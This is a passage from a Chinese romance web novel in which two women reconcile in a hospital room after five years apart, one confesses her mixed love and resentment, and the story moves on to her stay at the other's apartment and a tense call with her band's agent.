陪护床被摆在不远处,用一道白帘隔开。 所以,许风扰只能瞧见一道被白帘映出的影子,像幼时的皮影戏,妙曼轮廓清晰却始终隔着距离。 那人已擦拭干净,弯腰将衣服拿起,曲身时,那截细腰显得更细,如同风吹弯弱柳,窸窸窣窣的声响环绕。 许风扰毫无偷看的心理负担,甚至有点理直气壮,反正她刚刚已被对方看了个彻底,现在只是报复回来而已。 柳听颂撩起发丝,将它撩至肩头一侧,无意翘起的些许,连丝丝缕缕映得清楚。 明明其他都已经看遍,可许风扰还是因为这一缕发丝,挪开了视线。 随手搭在床边的浴巾掉落在地,柳听颂没有理会,反倒拿起吹风机。 周围的潮湿雾气还未彻底消散,奶香依旧,不仅没有淡去,甚至更加浓郁,夜风吹起窗帘,送来些许凉意。 等许风扰再回过神,那人已掀帘而走出,声音已如平常一般,未露出半点异样,温声就问:“困了吗?要不要睡觉了?” 许风扰扯下一点被子,也不说话,只是抬眼瞧她。 柳听颂没有得到回答,便几步走来,伸手摸了摸她的脑袋,又道:“要不要抹点精油?你这头□□了几次,毛躁得很。” 按理说,精油应是头发半干时就该抹上,但这段时间显然已经错过,只能以此弥补。 许风扰没说话,她就当默认,取过精油瓶子,挤入掌心,揉搓于指间后,才一点点抹在许风扰发丝。 那人就杵在那儿,既不阻拦也不配合,像个石头一般。 自那夜后,柳听颂就重新换了睡衣,墨绿色睡裙变成杏色衬衫、长裤,扣子被系到最顶上的一颗,发丝垂落间,将之前的牙印遮掩大半。 许风扰微微偏头,避开划在脸颊的碎发,还没有消散的烦闷又涌了上来。 莫名其妙的烦。 总是突然出现,然后再也压不下去。 那人擦拭得细致,比对待自己时认真得多。 温凉指尖从发根穿到发尾,毛躁发丝逐渐变得乖巧又服帖, “柳听颂,”许风扰在这个时候突然开口。 “嗯?”另一人温声回应。 “橙子她们今天来过,”许风扰又一次提起这件事,明明之前就提前说过,刚刚也曾提起,可现在却又重新说了一遍。 “我知道,”柳听颂没有厌烦,再一次回答她。 许风扰显然没有丢失记忆,之所以再一次提起,自然是有事要说,是关于今天下午,橙子她们提到的那些。 这些事不能拖,从柳听颂回来后,她就一直在想着怎么开口,只是后面被洗澡这事转移了注意力,一直拖到现在,如今再不提,恐怕就要拖到明天了。 “你给橙子买了辆车?”她直白开口,没有半点委婉。 柳听颂停了下,才“嗯”了一声表示回答。 “钱也还给小野了?” 柳听颂又“嗯”了一声。 “那两个狗仔是你让人封杀的?” 柳听颂依旧同样答应。 许风扰抿了抿唇角,没想到对方的回答会那么简单,一时不知该说什么好,最后只憋出一句:“你倒是威风得很。” 嘲讽的语气带着几分阴阳怪气。 柳听颂放下精油瓶,依旧侧坐在她床边,温声就道:“不是威风,是我应该做的。” 话音刚落,许风扰就拧起眉头,说:“我自己会处理好,不需要你多此一举。” 柳听颂眉眼舒展,语气依旧柔和:“生气了?” “没有,”许风扰否认,可不到一会,她又补充道:“我气的不是这件事。” 就是在生气,但不是因为这件事。 柳听颂点了点头,又道:“你不气我瞒着你、擅自处理那些事,但气我刚刚亲你?” 许风扰敏锐地察觉不对劲,立马将话题转回:“你很有钱是吗?闲得没处花。” 柳听颂笑了下,尾音上挑,短短一句话也能绕出千回百转的调子:“没多少钱,但如果是给宝……” 她话还没有说完,就被许风扰踹了一脚。 刚刚没能炸起来的毛,现在又膨起来,许风扰当即就凶道:“柳听颂你再喊一个字试一试?!” 之前没被阻拦的称呼,现在反倒不行了。 若被不知情的人瞧见这一幕,指不定觉得许风扰是怎样的喜怒无常,但可惜无旁人能得知,唯一经历这些的柳听颂不曾生气半点,还将她踹出被子的左腿搁在自己大腿上。 柳听颂好脾气地改了称谓,重新说道:“钱不算多,但都可以给你花,如果不够……” 她笑了下,漂亮的眼眸只倒映着许风扰一人的身影,语气更柔:“那我努努力,再多赚点。” 分明是好话,却将许风扰气得不知该说什么好。 她在意的明明是另一件事,却被柳听颂曲解成这样,还歪出了别的答案。 答不对题,答得再好也是零分,没见过那个学生谄媚一下考官,就能得满分的。 许风扰又是一踹,将这人的腿踹得晃了下,却还觉得不解气,愤愤道:“谁稀罕你的钱,我又不是不能赚!” 她现在一场演出费七位数了! 笑意从眼尾散开,一双眸子水蒙蒙的,裏头是能淹死人的温柔,她就这样轻轻柔柔地顺着许风扰的话,既是嘆息,又带着感* 慨,哄道:“是啊,我们宝宝现在可厉害了。” 这个称呼又一次出现,垂落在身侧的手不禁收紧,拽住床单。 但奇怪的是,之前的感受并没有浓烈,反而是另一种感受涌出,有些酸涩,也谈不上难受,只是许风扰从来不曾经历过,所以感到很陌生。 就好像心脏变成了海绵,被泡进柠檬水中,吸住汁液后又捞出,用力拧起来,然后再慢慢放入温水中,沉于最底部,冒出些许欣然。 如若是其他人,或许会知道这种感受是什么,为什么会发生。 但对从来没有被亲人肯定过的许风扰而言,很陌生,陌生到有些胆怯,让人无措。 柳听颂仍那样看着她,眼眸中的冰雪融化,变作可以包容一切的水,将许风扰往裏头淹。 “你一直很厉害,”她再一次重复,语气肯定。 床单被揪出繁琐花纹,手背青筋鼓起。 最后只能让许风扰憋出一句:“下次不要再这样了,橙子不缺摩托车……” “我知道。” 柳听颂这一次没有等她说完,并补充道:“小野不缺这点钱。” 许风扰抿紧唇角。 “但是我想表现一下,”柳听颂就这样轻易地说出来,十分坦然且直白:“我想和你身边的朋友讨个好。” 这就像刚谈恋爱的时候,要请女朋友的闺蜜吃饭、喝奶茶,只是柳听颂更大方一点,直接送了辆摩托车而已。 要说的话就这样被堵了回去,许风扰被打得节节败退,丢盔弃甲,彻底失去反攻的机会,只能宣告这一次的失败。 许风扰扯过被子,一下子遮住自己,刚刚的小山丘又一次出现在柳听颂面前。 柳听颂显得愣了下,继而哭笑不得。 倒是给她找到了一个新的逃避方式了。 她伸手扯了扯被子,那人就拉得更紧,连头顶都瞧不见,彻底捂在裏头。 柳听颂没办法,只能轻扯两下,连忙哄道:“别一直捂着,等会憋得难受。” 许风扰不说话,以沉默表示自己的回答。 柳听颂又扯,说:“让我看看之前那些伤疤,刚刚好像淋到一点。” 这也不能怪她,那些被玻璃划过的伤口细小又密集,即便再小心也没有办法避开,更何况许风扰后来的闭着眼搓洗。 “不要,不管它,”被子裏终于传来闷闷的声音。 反正已经结疤,即便被水泡过又能怎么样连消毒都没有什么用,看了也不会好得更快。 柳听颂想了下,再扯了两下,说:“那我们不聊了,关灯睡觉好不好” 那人就答应了一声。 柳听颂想笑又不知能不能笑,只好抬腿上床。 这两天她们都是睡在一块的。 床咿呀响了一声,那人突然将被子扯下来,目光沉沉地盯着她。 柳听颂不由疑惑。 许风扰便伸腿抵住她的腿,说:“不行。” “嗯?”柳听颂很有耐心地看着她。 许风扰也知道自己奇怪,又解释道:“换衣服,我不喜欢这套。” 虽是解释,倒还不如说是强势的命令,眉眼间写着不容反驳的坚决。 穿来睡觉的衣物就两套,除去这一套,便只剩下那一件睡裙 柳听颂看了她一眼,眼底情绪不明,只问了句:“你喜欢那一件” 许风扰又不说话了,脚还抵在她腿侧,态度很明显。 柳听颂便起身,缓步走去旁边。 衬衫与长裤被丢在床上,被搁置的睡裙终于被取出。 一阵窸窣的衣物摩擦声。 片刻之后,柳听颂又走回来。 墨绿色的睡裙,些许褶皱在灯光下,泛起波光粼粼的感受,过分往上的裙摆,随着走动,露出匀称白净的长腿,恍惚间,还以为这人在T臺走秀,可她的终点却是许风扰。 许风扰还抱着被子,脑袋压在堆迭的被褥上,定定地瞧着她走到自己面前。 人还未站住,许风扰便开口:“这个不好看。” 也不知道她是怎么能说出这样违心的话。 她小半张脸都埋在被子裏,蓬松的白发翘起一缕,微微摇晃,看起来像只乖巧的大型犬,但开口却恶劣:“换掉。” 擅作主张的事情被轻巧掀过,却不代表另一件事能被敷衍过去,还记得浴室裏的那一遭,另外添上白天被打趣的事,心裏憋着气,故意折腾柳听颂。 那人由着她,一点没犹豫,转身就又去换。 不过几分钟,那人又走回来。 许风扰抬起眼看她。 扣子仍扣到最上面,不曾因为反复换衣服而疏忽。 可许风扰却说:“感觉更喜欢前面那一套。” 柳听颂深深看了她一眼,再次转身。 祖宗的脾气不好惹,从白天到晚上没一个如意,心裏的气越憋越多,要是不找个法子折腾人,恐怕今晚又得记恨上。 墨绿的睡裙又一次出现,随着脚步声,逐渐走到床边。 许风扰眼神乱晃,终于冒出些许心虚,但还是犹豫着说:“不、不喜欢。” 还没彻底消气,打算再折腾两回。 可另一人却没有像之前那样转身就走,反倒笑了下。 底气不足的许风扰抬起脑袋,与之对视。 “那你喜欢什么?”柳听颂笑盈盈地问道。 “刚才那一套,”许风扰试图嘴硬。 “刚刚不是说不喜欢吗?”柳听颂依旧那样,好像没有半点生气。 “现在喜欢了,”许风扰根本不管自己有多离谱。 “哦……”拖长的语调像是恍然,又是戏谑。 许风扰还想坚持,咬牙想要说什么,却见那人抬手,纤长手指往吊带一勾一推。 墨绿的丝绸睡裙滑落在地。 许风扰瞳孔放大,原本拽在手中的被子也松开。 那人却似笑非笑地开口:“我觉得你可能更喜欢这样,对吗?” 风吹起窗帘,帘脚轻轻摇晃。 被翻来覆去折腾的人终于上了床,却不着急躺下,反倒跨坐在许风扰的大腿上,双臂勾住她脖颈。 “这样可以了吗?宝宝。” 过分撩人的声音落在耳边。 第32章 那你想好要怎么折磨我了吗? 许风扰大脑一片空白, 眼前也是白的。 整个人都懵住,完全想不到对方会这样,连最基本的反应都没有。 那人却还在问:“不生气了好不好? 话音在耳边缠绕, 还能嗅到淡淡的牛奶香气。 因柳听颂跨坐在许风扰身上的缘故, 两人只隔着巴掌大的距离,甚至还被勾着脖颈的手臂不断拉紧。 许风扰不敢抬眼看她, 可视线往下,也没有好到哪裏去。 因是睡前的缘故,柳听颂什么都没有穿, 微微上挑的平直锁骨、丰韵柔软的圆弧、薄弱腰腹随着呼吸起伏, 轻轻贴上蓝白病服, 不是很端正的姿势,随意又慵懒, 透着令人心醉的风情。 “原谅我好不好?”那人软着声调, 半垂的眼眸倒映着碎光, 如湖面粼粼。 还是年长那位机敏, 换来换去也不见消气, 索性就付出相同的代价。 耳垂的热度又席卷而来, 反反复复的突然攀升, 让它也生出逆反的心思,一下子就红得彻底。 许风扰有点慌张,下意识拽住旁边被子,想要将人盖住,又觉得不妥,只得说:“柳听颂你先……” 下去两个字还未能说出。 那人又贴过来, 像之前那样,双手捧起她脸颊, 在许风扰被迫仰头时,贴了上来。 抓住被子的手将床铺压出一个小坑。 许风扰想要往后躲,脊背却抵在垫高的枕头裏,不仅没有拉开距离,反倒被柳听颂更加靠近,堵住全部退路。 呼吸交替,同款薄荷味的牙膏,在温度升高的唇舌间,携来一丝清凉。 白发与青丝触碰,继而缠绕在一块。 旁边传来一声响,像是衣服摔落在地的声音。 没有人理会。 没空理会。 被风吹得摇摇晃晃的窗帘,地上的影子也跟着晃,编织出繁琐缭乱的画面。 窗外的野猫喵喵叫起,不知遇到了什么,有些吵闹。 “宝宝……”那人又开始这样喊,完全没将之前的警告记在心裏。 许风扰有些不明白,这人怎么会变成这样,五年时间没有造成生疏,只加厚了柳听颂的脸皮,之前只能在床间偶尔喊出的称呼,如今却变成了个极寻常的昵称,随随便便就能喊出口,甚至比互喊姓名更简单。 也不是没有被除柳听颂以外的人喊过,那些粉丝总是能想出很多称呼。 像宝宝、老婆这样的称呼都是最简单的,无论在舞臺下,还是V博评论,都能听见、看见。 许风扰没有太多感觉,只觉得这是她们表达喜欢的一种方式,不会回应也不阻拦。 可当这个称呼由柳听颂喊出时,又变得完全不一样。 许风扰分神片刻,还没有来得及想出答案,就被对方察觉。 温凉的指尖落在手背,在许风扰还没有来得及反应前,先一步拽起,压在自己侧腰。 这是…… 唇分离些许,又轻轻贴住,声音从缝隙中挤出,沙哑又含糊。 她又喊:“宝宝。” 拖长的语调总显得缱绻多情,让耳朵泛起密密麻麻的痒。 她说:“宝宝,别抓床单。” “抓我。” 话音落下,覆在侧腰的手不禁一收,指节曲折,虎口掐窝间,似乎能熨入肌肤、烙进骨肉中。 短暂的休息已经结束,闭合的唇再一次被撬开,牙齿轻轻撞了下,那些还未愈合的松口,划过唇瓣。 许风扰突然往后跌,陷入柔软枕头中,床也跟着响了声。 ——咿呀! 尖锐的声音没有打断什么,反倒让柳听颂越发贴紧对方。 许风扰彻底僵住,两人之间只隔着一层单薄布料,过分柔软的感触清晰,让人实在难以招架。 “别……” 她慌得明显,一副手足无措、被欺负的样子,明明已经出了浴室,穿上衣服,却比刚刚还要无措。 那人就笑,明明是对自己的惩罚,却有一种故意逗弄的感觉。 她声音暗哑,还贴着对方的唇,“宝宝,你又脸红了。” 覆在脸上的指尖故意擦过脸颊、说话时的颤音、攀升的呼吸温度,还有只隔着布料的柔软感受。 “好可爱。” 对方又一次如此评价。 终于比第一次出息了点,起码不会像之前一样,完全僵住。 许风扰抬手想推开她,嘴上还在逞强:“你让开、” “等会感冒了……”许风扰在找借口。 那人就笑,在她唇边留下一个又一个细碎的吻,像是怎么也亲不够一样,没有停歇,连说话都是掺杂在吻与吻之间。 “阿风是在关心我” 听到她终于换了称呼,许风扰松了口气的同时,又莫名泛起一丝烦闷,眼神偏离向别处。 柳听颂又笑。 她今天晚上总是这样,无缘无故的笑,感觉很高兴的样子。 一个啄吻落下,那人很是顺从地回答:“那听宝宝的。” 怎么又出现了! 许风扰刚想说些什么,就见那人拽住被子,往上一扯,学着许风扰的模样,将薄被盖在两人头顶,鼓出小山丘的样子。 那人还又捧上许风扰的脸,额头与额头相抵,柔和眼眸像是盛了一汪清泉,水波盈盈,漾着情///动的光。 “乖宝喜欢这样?喜欢躲在裏面吗?” 熟悉的称呼改成别的,不仅没有好转一点,反倒更加过分。 不等许风扰回答,那人便又堵住她的唇,这一次不再是浅尝辄止,像要把之前的克制,全部补回来。 掐在侧腰的手收紧,在细腻肌理上留下的红印。 许风扰抬了抬眼帘,薄被依旧挡住太多光线,让两个人都陷入昏沉又不影响视线的灰暗中,裏头的氧气稀薄,取而代之的是越来越浓郁的牛奶香气,熏得人头脑晕沉。 这个感觉很奇怪。 明明还是这个地方,病房和狭窄的床,穿着病号服的自己和…… 柳听颂。 可当盖上被子后,感觉就发生了变化。 就好像回到学生时代,偷偷在家长眼皮底下恋爱的小情侣,只能在漆黑晚上,偷偷躲在被子裏接吻。 哦不对,现在是病房裏,应该是躲在护士眼皮底下。 但不管换成哪一种,都有一种隐秘的刺激感,好像在玩什么特别角色扮演。 许风扰呼吸更重。 柳听颂越发过分。 夜色更深,倒显得月光明亮,将树梢洒落一层朦朦胧胧的纱,雾水在叶片凝聚。 虫鸣声中,那只叫了半天的猫终于找了个合适位置,蜷缩入睡。 夜风拂过,吹响顺着红砖墙攀爬的爬山虎。 不知过了多久,大抵是氧气都被耗尽时,被子终于被大力掀开,缺氧的两人大口呼吸着。 泛红的眼尾有水光一闪而过,片刻又消失不见。 不等柳听颂再有动作,许风扰用被子一把将人捂住,紧紧裹着往旁边一压,继而立马往旁边躲,直到贴在床边才肯停。 柳听颂没有阻拦,知道欲速则不达的道理,若再过分下去,许风扰恐怕能拽着那条还在绑着夹板的腿,慌不择路逃出病房。 呼吸交替,两人都没有了动作,仍由静谧气氛扩散开。 许风扰思绪乱的很,大脑又变成一片白,却不是之前的那种白,而是关于旁边那人的白,想要压下又冒出,根本无法压下。 脑子乱得可以,连呼吸都变了调。 开过荤的人总归和什么都没经历过的人不一样,后者没经历这些,最多脸红心跳,感到羞涩不已,可前者却能联想更多,比如她们曾经经历过的那些荒唐事。 本以为五年过去,那些记忆早就变得模糊,如今那么一刺激,许风扰才发觉自己的记忆那么清晰,几乎刻在大脑中,以至于能回忆起曾经,柳听颂贴在她耳边的喘息。 急促、又带着哭腔的,像在催促又央着她停下。 许风扰下意识捂住耳朵,又欲盖弥彰地松开手,掌心还被炙热的耳垂烫了下。 身后传来声响。 许风扰下意识僵了僵身子。 却没有感受到对方的靠近,而是逐渐远离的脚步声。 浴室的水声又响。 这是柳听颂今天晚上第二次洗澡了。 第一次是因为许风扰。 第二次也是。 原因都是一样的。 许风扰慢吞吞缩进被子裏,下意识又想用被子将自己蒙住,刚扯起边缘又急忙松开,老老实实盖在锁骨下面,规矩得不成样子。 这一次的柳听颂没有拖延太久,只是用温凉的水冲了一会,继而便走出,如同之前一般,在白帘后擦拭,穿上衬衫、长裤。 许风扰没有阻拦,也不曾偷看,直挺挺躺着,看着天花板。 不过几分钟后,那人将灯熄灭,从另一边上床。 许风扰依旧沉默,只稍稍挪些,将更多的位置让给柳听颂。 房间再一次陷入漆黑,窗外的光亮都被帘子隔绝,完全无法看清,以至于其他感觉更敏锐,能够听到对方并未缓和下去的呼吸声。 许风扰抿了抿唇,像是比之前好些了,但是也不算太好。 心裏仍然乱的很。 直到想起她之前的承诺,答应柳听颂在出院前,一定会给她一个答案。 许风扰突然翻了个身,背对着柳听颂。 可那人却贴了过来,将她从背后抱住,再往裏捞了捞。 体温有些凉。 但因为是闷热夏季的缘故,所以并不觉得难受,还有些舒适,像被一个温度适宜的冰袋贴住。 许风扰没有说别的,只是将想好的答案抵在唇边,好一会才喊道:“柳听颂。” 出院的日子已定下,不能再拖了。 也是因为这样,所以柳听颂今晚才会…… 她没有来不及细细分析,那人就“嗯”了一声,像是知道她要说些什么。 许风扰沉默了下,事到如今却还在犹豫,好半天才接道:“我觉得我们并不适合重新在一起。” 过分决然的话语落下,柳听颂明显颤了下,却没有开口。 许风扰眼帘垂落,没有安慰对方,声音中还残留着几分沙哑,显得有些飘忽。 “无论是之前,还是现在,我都是这样觉得的,没有一点改变。” 她的话语过于直白,甚至直白到有些残忍,坦白着自己的悲观,宣告着绝对会失败的结局。 所谓破镜重圆,不过是将破碎的玻璃片重新粘在一块,再怎么努力,裂缝都会在哪裏,哪有那么容易就修复,又怎么可能什么都忘记、不再在意。 与其叫作破镜重圆,还不如说是不甘者的重蹈覆辙,直到将所有情意都耗尽,才肯彻底低头,告诉自己无法强求。 柳听颂默默将她抱得更紧,额头抵在对方凸起的脊骨上,呼吸有些颤。 “但是……” 许风扰无力嘆了口气,轻轻道:“我发现我无法抗拒你。” “我没有办法一次又一次地将你推开。” 无可奈何的语气,不得不承认自己已经屈服的挫败。 “无论做了多少的心理建设,咬牙下了多少决定,还是会一步步退让,让你靠近。” “在五年后的第一次遇见,我身体比我自己更早察觉到你。” 她语速变得有点快,字字清晰,带着几分斩钉截铁的意味。 “我对你是高于一切主观意识的生理性喜欢,所有的理智与克制在面对你时都荡然无存。” “柳听颂,我无法不承认,我还是会因为你而心动,像是一种刻在骨子裏的本能。” “我会为你心动,千千万万次。” “我无法抗拒也无法避免。” “在我设想过的未来,除了音乐外,只有你,哪怕你早已弃我而去,我也从来没有将任何人带入其中。” 她一句一句地往外冒,在五年的重逢中,第一次如此认真又坦诚地将自己的想法交代。 许风扰停顿住,僵硬的躯体终于慢慢软下来,如同失败者放弃最后的挣扎,露出些许迷茫的颓唐。 “可我也没办法彻底放下芥蒂去接受你。” “我可以接受所有人的突然离去,除了你。” “楚澄他们不知道我为什么耿耿于怀,不肯放下又不肯松口,一味的自我折磨。” 她咬紧牙关,将疯狂涌上来的酸涩压住,不准在自己在这个时候哭出来。 她不想要任何的怜悯和愧疚,这不是在柳听颂卖惨,不允许有任何旁的情绪。 她要冷静,要理性。 柳听颂早已明了,不曾出声,不曾打断,静静等着她继续。 “可你应该知道、你必须知道……” “你知道我的过去、我的全部经历,知道我所受过的委屈、遭遇过的冷落,知道我是怎样的一个人,怎样会变成这样的一个人。” “可你抛弃了我,你丢掉了我。” “你把我抛下了,”她又一次将这句话重复。 “你不要我了,”她低低出声,像个找不到家的小狗。 这件事在她心裏,始终是个难以愈合的伤口,反复发炎红肿,翻来覆去将自己折磨。 许风扰握紧拳头,指尖在掌心掐出月牙凹坑,像是不知道痛一般,将凹坑掐得越来越深。 她深吸一口气,语速更快,好像要用这种方式快点逃开:“柳听颂,这个世界对我一点也不好,你是知道的,我曾将全部都告知于你,不是祈求你对我更好,而是想告诉你,你于我到底有多重要。” “我真的很爱你,我也同等地恨着你。” “那些恨意比爱更折磨人,叫我在每一个深夜都被它啃食,翻来覆去想着如何折磨你,如何冷漠拒绝你,如何与你划清界限,我比你想象中的更恶劣不堪。” 许风扰大口呼吸着,试图将情绪压制,可眼尾的泪珠却滑落,将枕头染湿。 她不是个爱哭的人,却总是为柳听颂流眼泪。 “我没有办法抗拒你,也没有办法坦然地接受你,我甚至控制不住自己的情绪,上一秒欢喜,下一秒就开始烦躁,想折腾你,想折磨你,要你也和我一样不高兴,一样难过。” “我想让你和我一样,变成一个喜怒无常的疯子。” 她深吸一口气,无比认真地开口:“柳听颂,我不建议你和我重新在一起,我也无法再完全相信你,相信我们的未来。” “我们的关系会是一条脆弱的绳索,任何风吹草动都可能让它断裂开。” 她突然停下,像在给对方一个梳理的时间,也像在犹豫,自己该不该继续往下说。 屋外的夜色正好,在城市陷入寂静时,所有的灯光都熄灭,晴朗的天空再无云雾遮挡,此时的月亮最皎洁。 “而我也会像之前一样折磨你,不高兴的时候,无论你做什么,我都觉得不顺眼,哪怕你没有做错什么,哪怕我能理解你,但是我还是无法克制我的脾气。” 她想了想,举个例子:“就像刚刚一样,前几分钟前我们还在接吻,几分钟后就开始生气,要你不停换衣服,怎么也不满意,甚至做出更过分的事。” 她垂下眼,庆幸此刻已经关上灯,庆幸她早已背对着柳听颂,才不至于将自己被恨意扭曲的面容露出。 柳听颂依旧抱着她,温凉的体温没有随着时间缓和,反倒越发凄冷。 她静静听完许风扰所表达的一切,又耐心等了一会,直到确定对方已经彻底结束后,才缓缓开口。 她说:“那你想好要怎么折磨我了吗?” 许风扰的心脏突然颤了下,又猛的狂跳起来,几乎从胸腔裏跳出,耳边泛起空鸣。 柳听颂则收紧手臂,越发将她抱紧。 她说:“无论怎么样都可以。” “你想怎么做都行,都是我应该受的。” 她深吸一口气,将曾经的话语重复,轻飘飘的又带着斩钉截铁的意味::“我是你的,一直都是。” 许风扰心悸了下,忍不住弯腰曲腿,蜷缩成一团,停顿的呼吸,又开始变得急促。 柳听颂没有再做什么,只是配合她,越发将人抱进自己怀裏。 “什么都可以,我都可以接受。” “只要是你就好。” 温柔的声音环绕在耳边,许风扰闭上眼,枕头早已湿透,被咸涩浸染。 夜更深,话语随着晚风吹去,不留一点痕迹。 虽然躺了好一会,但两个人都没有睡,情绪起伏太大,各有各的想法,想闭上眼又觉得无比清醒,睁开眼又在折磨自个。 许风扰深吸了一口气,身后的人第一时间察觉,小心松开手后,片刻又抱紧。 气氛又凝固在这。 最后还是许风扰先开口,手肘往后碰了碰,发出闷闷声音:“柳听颂,我渴了。” 床头柜明明在她那边,置于桌面的保温杯也早就接满温水,只要许风扰一伸手就能够到,她却要出声折腾柳听颂。 柳听颂没有说旁的,松手后就起身,摸黑绕到她那边,先用手将许风扰的眼睛覆住,继而再打开壁灯。 柔和灯光又一次响起,许风扰眨了眨眼,稍适应就扯下柳听颂手腕,重复道:“渴。” 柳听颂坐在床边,将她扶起后,又将水杯拿起,贴心送到她唇边。 可那位喊着渴的人却摇头,声音依旧闷闷的,眼眶周围残留的水雾明显,拒绝道:“不要这个。” 柳听颂自然不解,但却没有生气,只是温声哄道:“那你想喝什么?我出去给你买?” 许风扰抬眼看了她一眼,眼底情绪不明,不等柳听颂分辨,她就先伸手,将下午时,昭昭挖了四分之一就丢在一旁的苹果捏住。 柳听颂有些诧异,脱口而出道“你不是不喜欢……” 话还没有说完,许风扰就将苹果放在她手中,低头弯腰,就着她的手在狰狞凹坑的背面,咬下小小一口。 她不喜欢苹果。 但是喜欢昭昭,也更喜欢柳听颂。 所以她会哄着昭昭,吃下三岁小孩努力挖出的苹果果泥,也会记得柳听颂故作不经意地提问,咬住被她拿在手中的苹果。 我不喜欢,但如果是你喂的话,我也会吃。 许风扰仰起头,轻轻开口:“睡吧,柳听颂。” “晚安。” 不要不开心了。 第33章 柳听颂,你的猫会后空翻吗? 又一日盛夏, 这已是许风扰出院的第二天。 如柳听颂所愿,许风扰还是搬进了她的房子裏。 原本许风扰还是想挣扎一下,即便有纪鹿南提前提醒, 也心存侥幸, 觉得自己那么久没有出现,那些狗仔应该早就放弃了。 她甚至没有和柳听颂提前提起, 而那人看出来了也不说,配合着开车将人送到楼下,让许风扰亲眼瞧见她楼底下狗仔聚集的盛况。 最不惧怕狗仔的许风扰愣是没敢下车, 要不是瞧见他们手中的相机, 还以为自家楼下变成露营基地了, 到处都是帐篷和目光炯炯的狗仔。 有小贩嗅到商机,在旁边摆起摊子, 茶叶蛋、烤热狗、小炸串应有尽有, 想着只要拍到一张照片就能赚回来的狗仔出手大方, 时不时就去买点吃的, 笑得小贩眼不见眼, 露出标准的八颗牙。 幸好柳听颂早有准备, 特地开了辆极低调的车, 带着许风扰绕了一圈就离开,没有人任何人察觉到异样。 其间,许风扰还提出要去酒店暂住几天,结果被柳听颂哄着哄着就带回家了。 眼下,许风扰正躺在柳听颂的大平层裏,怀裏抱着一只碧色眼眸的银虎斑缅因, 望着天花板发呆。 这大平层是柳听颂出国前买的,拢共三百多平, 去年才装修完,走的是意式极简风,整面落地窗外倒映着江景,客厅铺着绒毛地毯,比起许风扰那被各种乐器填满的狗窝,精致了不止一点。 唯一违和的是丢在浅灰地毯旁边的帕恰狗拖鞋,和躺在地毯上的许风扰。 这还是柳听颂和她一块去买的,借口是本地风俗,出院后要将入院的衣服、鞋子全部舍弃,将霉运、病气丢掉,重新买一遍。 且不说许风扰这个本地人完全不知道有这一茬,再说这习俗应是生大病后痊愈的人,担忧再沾染之前病气,所以才全部丢掉,她一个断腿的人,能有什么病气? 许风扰欲言又止后,还是没能拒绝,反正都要采买些生活用品,索性就一块都买了。 但在舞臺外,她的穿着总是随意,仗着自己是个衣服架子,宽大短袖往身上套,只要没什么大错就好。 至于拖鞋等,家裏是布丁狗五件套,拖鞋、毛巾、浴巾、水杯、睡衣,在柳听颂这儿就是帕恰狗五件套,本来想选玉桂狗,可那大耳狗看起来比黑白帕恰狗零了那么一点,许风扰想了想,为了自己0.8的形象,还是坚持拿了帕恰狗。 其他也无所谓,反正都是柳天后付钱,这人贯彻落实钱要给许风扰花的理念,只要合适就买买买,让许风扰莫名生出一丝自己被包养的错觉。 不过…… 她抱住怀裏的缅因,感觉还行,不是特别难接受。 这猫是柳听颂养的,也是她将许风扰诱拐回家的条件之一,另外一个条件是乐器齐全的琴房,将几天没练琴的许风扰拿捏,根本拒绝不了。 思绪间,那猫又开始踩奶。 天知道,那么大只缅因,怎么还像个小奶猫似的,动不动就咕噜咕噜,偷偷踩起奶。 许风扰弯着眼笑,还趁机捏了把大山竹肉垫。 她很喜欢猫狗,却因为各种原因,一直没能养一只。 想到这裏,许风扰随手抓住旁边的手机,打开摄像头就连拍几张,当即往燃陨乐队的群裏发。 那几人还不知道许风扰已经出院,看见消息,连着发了几个问号。 许风扰一手抱着大猫,一手艰难打字:【柳听颂家的猫,好看吧】 楚澄打字最快,几乎下一秒就发出:【哟,怪不得前两天不肯答应我们,原来是早有打算啊】 况野慢悠悠来一句:【缅因看起来有二十几斤了】 许风扰拍了个猫咪正脸,大有家长炫耀小孩的那味,又笑眯眯地回:【昨天晚上称的,二十五斤】 完全忽视了楚澄的话。 那人也不甘放弃,下一句接【这猫会后空翻吗?】 许风扰不明所以,发了个问号。 楚澄:【我前前女友就是这样骗我回家,说她的猫会后空翻,邀请我去她家看猫】 许风扰没能理解,为什么猫会后空翻,又为什么说是骗,还没有来得及问,手机就突然震动起来。 许风扰瞥了眼备注,而后才慢吞吞接通。 “你出院了”声音从扬声器中传出。 打来电话的人是阿金,燃陨乐队的经纪人。 “出了,”许风扰语气不冷不热。 按理说,许风扰出事,身为经纪人的阿金,理应探望,可她只是在联系不到许风扰后,打电话询问了楚澄,在得知许风扰消息后就没再理会。 自上次机场那一遭后,两人除了直播前的通话,再无交谈,要不是柳听颂工作室施压,恐怕连那条发律师函的V博都没有。 许风扰想了想,依稀记起燃陨乐队的合同只到今年。 其实在年前时,阿金就含糊和她们提过,公司那边希望她们续约。 其实并无不可,当年燃陨乐队初起后,找来的公司数不胜数,可唯有天彙传媒愿意将版权留给她们,且也不怎么限制燃陨乐队,并许诺了较为丰厚的资源与利益。 燃陨乐队念着当年的情,只想和她们谈谈合同,让公司将提成再提高些,便继续续约。 她们的条件理所应当,公司也不会拒绝,但却提出一个条件,许风扰要另外再签一份合同,让她脱离燃陨乐队,单独发展。 许风扰自然坚决不肯,公司那边的态度顿时冷了下来,三番两次叫阿金来劝,阿金磨了半年,仍劝不动,他们就开始给许风扰施加压力。 比如前几天的《重返乐队》最后一期的爆火,应会有许多工作找到燃陨乐队,毕竟连狗仔都闻声过来,几日几夜地蹲在楼下守着,其他人就更别说了。 可公司这边半点没提起,刻意压下,明摆着威胁许风扰,若是不继续签约,今年就要被冷藏处理。 思绪间,阿金又开口,声音冷硬:“张导那边催了几次,叫你们赶紧把词填了,录音发歌。” 她其实连这事都不想通知,可奈何柳听颂工作室那边催促,他们不敢得罪这尊大佛,只能主动打破僵局,打来电话。 “* 知道了,”许风扰答应一声,又不说话了。 阿金自顾自走了几圈,勉强将怒气压下,语气稍缓就道:“你这两天发条私博营业一下,你的粉丝挺关心你的,天天跑去官博底下问你。” 燃陨乐队的集体微博号由公司管理,私号则完全交给她们自己。 “行,”许风扰想起这几天的事,想必让不少人担忧了,所以一口答应下来。 阿金见她听话,终于挤出一丝笑容,又开始语重心长地劝起来:“你肯听我的话就好,你那些粉丝多关心你啊,你别总做那些危险的事情让她们担心。” 她话音一转又道:“我知道你心裏不乐意,总想和橙子她们一起搞音乐,可你现在的热度和能力……” “如果你还想提这件事的话,我就要挂电话了,”许风扰直接出声打断,冷淡语气不耐。 